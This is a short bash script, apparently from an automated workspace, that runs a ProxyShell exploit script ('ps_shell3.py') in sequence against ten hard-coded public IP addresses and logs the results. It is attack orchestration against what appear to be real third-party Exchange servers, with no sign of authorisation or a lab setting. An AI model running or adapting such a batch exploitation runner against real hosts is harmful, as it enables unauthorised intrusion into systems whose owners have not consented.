#!/bin/bash
# batch11 ProxyShell runner (sequential, <=5min per target, IP-dedup)
cd /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775
LOG=batch11.log
: > "$LOG"
TARGETS="2.59.213.137 202.29.64.81 212.98.140.119 217.168.69.194 31.47.55.134 41.32.68.114 46.175.16.186 82.138.42.24 84.108.134.212 84.42.11.38"
SEEN=""
echo "START $(date '+%F %T')" >> "$LOG"
for h in $TARGETS; do
  if echo " $SEEN " | grep -q " $h "; then
    echo "===== SKIP $h (duplicated) $(date '+%F %T') =====" >> "$LOG"
    continue
  fi
  SEEN="$SEEN $h"
  echo "===== TARGET $h $(date '+%F %T') =====" >> "$LOG"
  timeout 305 python3 -u ps_shell3.py "$h" 275 >> "$LOG" 2>&1
  echo "----- done $h rc=$? $(date '+%F %T') -----" >> "$LOG"
done
echo "ALL DONE $(date '+%F %T')" >> "$LOG"
